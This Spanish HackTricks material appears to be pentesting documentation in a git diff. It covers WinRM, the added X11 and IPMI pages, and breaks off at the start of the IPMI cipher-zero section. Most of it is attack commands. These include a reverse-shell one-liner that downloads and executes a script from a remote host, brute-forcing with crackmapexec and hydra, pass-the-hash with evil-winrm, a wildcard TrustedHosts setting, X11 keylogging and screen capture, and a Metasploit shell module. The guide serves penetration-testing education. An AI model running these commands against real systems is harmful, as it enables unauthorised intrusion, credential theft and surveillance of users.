|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) es un protocolo de Microsoft que **permite la administración remota de máquinas con Windows** a través de HTTP(S) utilizando SOAP. En el backend utiliza WMI, por lo que se puede pensar en él como una API basada en HTTP para WMI.
|
||||
|
||||
Si WinRM está habilitado en la máquina, es trivial administrarla de forma remota desde PowerShell. De hecho, se puede acceder a una sesión remota de PowerShell en la máquina (como si se estuviera utilizando SSH).
|
||||
|
||||
La forma más sencilla de detectar si WinRM está disponible es ver si el puerto está abierto. WinRM escuchará en uno de dos puertos:
|
||||
|
||||
* **5985/tcp (HTTP)**
|
||||
* **5986/tcp (HTTPS)**
|
||||
|
||||
Si uno de estos puertos está abierto, WinRM está configurado y se puede intentar acceder a una sesión remota.
|
||||
|
||||
## **Iniciando una sesión de WinRM**.
|
||||
|
||||
Podemos configurar PowerShell para que funcione con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura el equipo para recibir comandos remotos de PowerShell. Si tenemos acceso a un prompt de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
|
||||
```
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
```
|
||||
Esto agrega un comodín al ajuste de trustedhosts. Tenga cuidado con lo que eso implica. _Nota: también tuve que cambiar el tipo de red en mi máquina de ataque de "Pública" a red "de trabajo"_.
|
||||
|
||||
También se puede **activar** WinRM **de forma remota** _\*\*\_usando \_wmic_:
|
||||
```
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
### Probar si está configurado
|
||||
|
||||
Una vez que la máquina de ataque esté configurada, use la función `Test-WSMan` para probar si el objetivo está configurado para WinRM. Debería ver información devuelta sobre la versión del protocolo y wsmid:
|
||||
|
||||
![](<../.gitbook/assets/image (161) (1).png>)
|
||||
|
||||
![](<../.gitbook/assets/image (162).png>)
|
||||
|
||||
En este caso, el primero está configurado y el segundo no.
|
||||
|
||||
### Ejecutar un comando
|
||||
|
||||
Ahora podemos usar `Invoke-Command` de PowerShell para ejecutar remotamente un comando en el objetivo a través de WinRM. Para ejecutar remotamente `ipconfig` y ver la salida:
|
||||
```
|
||||
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
|
||||
```
|
||||
También puedes **ejecutar un comando de tu consola PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en un equipo remoto**, puedes hacer lo siguiente:
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
### Ejecutar un Script
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
|
||||
```
|
||||
### Obtener una shell inversa
|
||||
```ruby
|
||||
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
|
||||
```
|
||||
### Obtener una sesión de PS
|
||||
|
||||
O, si desea ingresar directamente en una sesión interactiva de PowerShell, use la función `Enter-PSSession`:
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||||
|
||||
# Enter
|
||||
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
|
||||
## Bypass proxy
|
||||
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||||
# Save session in var
|
||||
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
|
||||
Enter-PSSession $sess
|
||||
## Background current PS session
|
||||
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
|
||||
```
|
||||
![](<../.gitbook/assets/image (164).png>)
|
||||
|
||||
**La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro del "objetivo"**
|
||||
|
||||
### **Forzando la apertura de WinRM**
|
||||
|
||||
Si realmente quieres usar PS Remoting y WinRM pero el objetivo no está configurado para ello, podrías "forzarlo" a través de un solo comando. No lo recomendaría, pero si realmente quisieras usar WinRM o PSRemoting, hazlo de esta manera. Por ejemplo, usando PSExec:
|
||||
```
|
||||
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
Ahora podemos ingresar a una sesión de PS remota en la víctima.
|
||||
|
||||
### Guardando y restaurando sesiones
|
||||
|
||||
Esto **no funcionará** si el **idioma** está **restringido** en la computadora remota.
|
||||
```ruby
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
## Note the ".\" in the suername to indicate it's a local user (host domain)
|
||||
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)
|
||||
|
||||
#You can save a session inside a variable
|
||||
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
|
||||
#And restore it at any moment doing
|
||||
Enter-PSSession -Session $sess1
|
||||
```
|
||||
Dentro de estas sesiones puedes cargar scripts de PS usando _Invoke-Command_.
|
||||
```ruby
|
||||
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
```
|
||||
### Errores
|
||||
|
||||
Si encuentra el siguiente error:
|
||||
|
||||
`enter-pssession : Error al conectar con el servidor remoto 10.10.10.175 con el siguiente mensaje de error: El cliente WinRM no puede procesar la solicitud. Si el esquema de autenticación es diferente de Kerberos, o si el equipo cliente no está unido a un dominio, entonces se debe usar el transporte HTTPS o la máquina de destino debe agregarse a la configuración de TrustedHosts. Use winrm.cmd para configurar TrustedHosts. Tenga en cuenta que las computadoras en la lista de TrustedHosts pueden no estar autenticadas. Puede obtener más información al respecto ejecutando el siguiente comando: winrm help config. Para obtener más información, consulte el tema de ayuda about_Remote_Troubleshooting.`
|
||||
|
||||
Entonces intente en el cliente (información de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Conexión WinRM en Linux
|
||||
|
||||
### Fuerza Bruta
|
||||
|
||||
Ten cuidado, la fuerza bruta en WinRM podría bloquear a los usuarios.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
|
||||
#Just check a pair of credentials
|
||||
# Username + Password + CMD command execution
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
|
||||
# Username + Hash + PS command execution
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
|
||||
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
|
||||
```
|
||||
### Usando evil-winrm
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
Leea la **documentación** en su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Para usar evil-winrm para conectarse a una dirección **IPv6**, crea una entrada dentro de _**/etc/hosts**_ estableciendo un **nombre de dominio** para la dirección IPv6 y conéctate a ese dominio.
|
||||
|
||||
### Pasar el hash con evil-winrm
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
### Usando una máquina PS-docker
|
||||
```
|
||||
docker run -it quickbreach/powershell-ntlm
|
||||
$creds = Get-Credential
|
||||
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
|
||||
```
|
||||
### Usando un script en ruby
|
||||
|
||||
Código extraído de aquí: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
|
||||
```ruby
|
||||
require 'winrm-fs'
|
||||
|
||||
# Author: Alamot
|
||||
# To upload a file type: UPLOAD local_path remote_path
|
||||
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
|
||||
|
||||
|
||||
conn = WinRM::Connection.new(
|
||||
endpoint: 'https://IP:PORT/wsman',
|
||||
transport: :ssl,
|
||||
user: 'username',
|
||||
password: 'password',
|
||||
:no_ssl_peer_verification => true
|
||||
)
|
||||
|
||||
|
||||
class String
|
||||
def tokenize
|
||||
self.
|
||||
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
|
||||
select {|s| not s.empty? }.
|
||||
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
command=""
|
||||
file_manager = WinRM::FS::FileManager.new(conn)
|
||||
|
||||
|
||||
conn.shell(:powershell) do |shell|
|
||||
until command == "exit\n" do
|
||||
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
|
||||
print(output.output.chomp)
|
||||
command = gets
|
||||
if command.start_with?('UPLOAD') then
|
||||
upload_command = command.tokenize
|
||||
print("Uploading " + upload_command[1] + " to " + upload_command[2])
|
||||
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
|
||||
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
|
||||
end
|
||||
command = "echo `nOK`n"
|
||||
end
|
||||
output = shell.run(command) do |stdout, stderr|
|
||||
STDOUT.print(stdout)
|
||||
STDERR.print(stderr)
|
||||
end
|
||||
end
|
||||
puts("Exiting with code #{output.exitcode}")
|
||||
end
|
||||
```
|
||||
## Shodan
|
||||
|
||||
* `port:5985 Microsoft-HTTPAPI`
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
|
||||
|
||||
## Comandos Automáticos de HackTricks
|
||||
```
|
||||
Protocol_Name: WinRM #Protocol Abbreviation if there is one.
|
||||
Port_Number: 5985 #Comma separated if there is more than one.
|
||||
Protocol_Description: Windows Remote Managment #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for WinRM
|
||||
Note: |
|
||||
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.
|
||||
|
||||
sudo gem install winrm winrm-fs colorize stringio
|
||||
git clone https://github.com/Hackplayers/evil-winrm.git
|
||||
cd evil-winrm
|
||||
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’
|
||||
|
||||
https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/
|
||||
|
||||
ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
|
||||
^^so you can upload binary's from that directory or -s to upload scripts (sherlock)
|
||||
menu
|
||||
invoke-binary `tab`
|
||||
|
||||
#python3
|
||||
import winrm
|
||||
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
|
||||
print(s.run_cmd('ipconfig'))
|
||||
print(s.run_ps('ipconfig'))
|
||||
|
||||
https://book.hacktricks.xyz/pentesting/pentesting-winrm
|
||||
|
||||
Entry_2:
|
||||
Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
170
network-services-pentesting/6000-pentesting-x11.md
Normal file
170
network-services-pentesting/6000-pentesting-x11.md
Normal file
|
@ -0,0 +1,170 @@
|
|||
# 6000 - Pentesting X11
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Información básica
|
||||
|
||||
El sistema de ventanas X (también conocido como X) es un sistema de ventanas para pantallas de mapas de bits, que es común en sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI. X tampoco impone la interfaz de usuario, ya que los programas individuales manejan esto.\
|
||||
De: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
|
||||
**Puerto predeterminado:** 6000
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
6000/tcp open X11
|
||||
```
|
||||
## Enumeración
|
||||
|
||||
Comprobar si existe una **conexión anónima:**
|
||||
```bash
|
||||
nmap -sV --script x11-access -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/x11/open_x11
|
||||
```
|
||||
#### Enumeración local
|
||||
|
||||
El archivo **`.Xauthority`** en la carpeta de inicio del usuario es **utilizado** por **X11 para la autorización**. Desde [**aquí**](https://stackoverflow.com/a/37367518):
|
||||
|
||||
> MIT-magic-cookie-1: Generando 128 bits de clave ("cookie"), almacenándola en \~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). El cliente la envía al servidor en texto plano. El servidor comprueba si tiene una copia de esta "cookie" y, si es así, se permite la conexión. La clave es generada por DMX.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Para **usar la cookie** debes establecer la variable de entorno: **`export XAUTHORITY=/ruta/a/.Xauthority`**
|
||||
{% endhint %}
|
||||
|
||||
## Verificar conexión
|
||||
```bash
|
||||
xdpyinfo -display <ip>:<display>
|
||||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||||
```
|
||||
## Keyloggin
|
||||
|
||||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) para capturar las pulsaciones del teclado.
|
||||
|
||||
Ejemplo de salida:
|
||||
```
|
||||
xspy 10.9.xx.xx
|
||||
|
||||
opened 10.9.xx.xx:0 for snoopng
|
||||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||||
```
|
||||
## Captura de pantallas
|
||||
```bash
|
||||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||||
convert screenshot.xwd screenshot.png
|
||||
```
|
||||
## Vista Remota del Escritorio
|
||||
|
||||
Extraído de: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||||
```
|
||||
./xrdp.py <IP:0>
|
||||
```
|
||||
Primero necesitamos encontrar el ID de la ventana usando xwininfo.
|
||||
```
|
||||
xwininfo -root -display 10.9.xx.xx:0
|
||||
|
||||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||||
|
||||
Absolute upper-left X: 0
|
||||
Absolute upper-left Y: 0
|
||||
Relative upper-left X: 0
|
||||
Relative upper-left Y: 0
|
||||
Width: 1024
|
||||
Height: 768
|
||||
Depth: 16
|
||||
Visual: 0x21
|
||||
Visual Class: TrueColor
|
||||
Border width: 0
|
||||
Class: InputOutput
|
||||
Colormap: 0x20 (installed)
|
||||
Bit Gravity State: ForgetGravity
|
||||
Window Gravity State: NorthWestGravity
|
||||
Backing Store State: NotUseful
|
||||
Save Under State: no
|
||||
Map State: IsViewable
|
||||
Override Redirect State: no
|
||||
Corners: +0+0 -0+0 -0-0 +0-0
|
||||
-geometry 1024x768+0+0
|
||||
```
|
||||
**XWatchwin**
|
||||
|
||||
Para **visualización en vivo** necesitamos usar
|
||||
```bash
|
||||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||||
```
|
||||
## Obtener Shell
|
||||
```
|
||||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||||
```
|
||||
Otra forma:
|
||||
|
||||
**Shell Inverso:** Xrdp también permite obtener una shell inversa a través de Netcat. Escriba el siguiente comando:
|
||||
|
||||
**./xrdp.py \<IP:0> –no-disp**
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
|
||||
|
||||
Se abrirá un nuevo panel de control donde podemos ver la opción de R-shell, que se ilustra a continuación:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
|
||||
|
||||
Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se ilustra a continuación:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
|
||||
|
||||
Luego agregue la dirección IP y el puerto y seleccione R-Shell, que se ilustra a continuación:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
|
||||
|
||||
Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:
|
||||
|
||||
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
|
||||
|
||||
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
|
||||
|
||||
## Shodan
|
||||
|
||||
* `port:6000 x11`
|
||||
|
||||
\`\`
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales sobre errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones de la comunidad
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
173
network-services-pentesting/623-udp-ipmi.md
Normal file
173
network-services-pentesting/623-udp-ipmi.md
Normal file
|
@ -0,0 +1,173 @@
|
|||
## 623/UDP/TCP - IPMI
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Información básica
|
||||
|
||||
La [Interfaz de Gestión de Plataforma Inteligente](https://www.thomas-krenn.com/en/wiki/IPMI\_Basics) (`IPMI`) es un conjunto de especificaciones estandarizadas para sistemas de gestión de host basados en hardware utilizados para la gestión y monitorización del sistema. Actúa como un subsistema autónomo y funciona de forma independiente de la BIOS, CPU, firmware y sistema operativo subyacente del host. IPMI proporciona a los administradores del sistema la capacidad de gestionar y monitorizar sistemas incluso si están apagados o en un estado no receptivo. Opera utilizando una conexión de red directa al hardware del sistema y no requiere acceso al sistema operativo a través de una shell de inicio de sesión. IPMI también se puede utilizar para actualizaciones remotas de sistemas sin necesidad de acceso físico al host de destino. IPMI se utiliza típicamente de tres maneras:
|
||||
|
||||
* Antes de que se haya iniciado el sistema operativo para modificar la configuración de la BIOS.
|
||||
* Cuando el host está completamente apagado.
|
||||
* Acceso a un host después de un fallo del sistema.
|
||||
|
||||
Cuando no se utiliza para estas tareas, IPMI puede monitorizar una serie de cosas diferentes, como la temperatura del sistema, el voltaje, el estado del ventilador y las fuentes de alimentación. También se puede utilizar para consultar información de inventario, revisar registros de hardware y alertar mediante SNMP. El sistema host puede estar apagado, pero el módulo IPMI requiere una fuente de alimentación y una conexión LAN para funcionar correctamente.
|
||||
|
||||
El protocolo IPMI fue publicado por primera vez por Intel en 1998 y ahora es compatible con más de 200 proveedores de sistemas, incluyendo Cisco, Dell, HP, Supermicro, Intel y más. Los sistemas que utilizan la versión 2.0 de IPMI pueden ser administrados a través de serie sobre LAN, lo que da a los administradores del sistema la capacidad de ver la salida de la consola serie en banda. Para funcionar, IPMI requiere los siguientes componentes:
|
||||
|
||||
* Controlador de gestión de placa base (BMC) - Un microcontrolador y componente esencial de un IPMI.
|
||||
* Bus de gestión de chasis inteligente (ICMB) - Una interfaz que permite la comunicación de un chasis a otro.
|
||||
* Bus de gestión de plataforma inteligente (IPMB) - extiende el BMC.
|
||||
* Memoria IPMI - almacena cosas como el registro de eventos del sistema, los datos del repositorio de almacenamiento y más.
|
||||
* Interfaces de comunicaciones - interfaces de sistema local, interfaces serie y LAN, ICMB y bus de gestión PCI.
|
||||
|
||||
![](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
|
||||
|
||||
**Puerto predeterminado**: 623/UDP/TCP (normalmente se ejecuta en UDP, pero también podría estar en TCP)
|
||||
|
||||
## Enumeración
|
||||
|
||||
### Descubrimiento
|
||||
```bash
|
||||
nmap -n -p 623 10.0.0./24
|
||||
nmap -n-sU -p 623 10.0.0./24
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
```
|
||||
Puedes **identificar** la **versión** usando:
|
||||
```bash
|
||||
use auxiliary/scanner/ipmi/ipmi_version
|
||||
nmap -sU --script ipmi-version -p 623 10.10.10.10
|
||||
```
|
||||
### Vulnerabilidad - Bypass de autenticación IPMI a través del cifrado 0
|
||||
|
||||
Dan Farmer [identificó una falla grave](http://fish2.com/ipmi/cipherzero.html) en la especificación IPMI 2.0, a saber, que el tipo de cifrado 0, un indicador de que el cliente desea utilizar la autenticación de texto sin formato, en realidad **permite el acceso con cualquier contraseña**. Se identificaron problemas de cifrado 0 en los BMC de HP, Dell y Supermicro, y es probable que el problema abarque todas las implementaciones de IPMI 2.0.\
|
||||
Tenga en cuenta que para explotar este problema primero debe **encontrar un usuario válido**.
|
||||
|
||||
Puede **identificar** este problema usando:
|
||||
```
|
||||
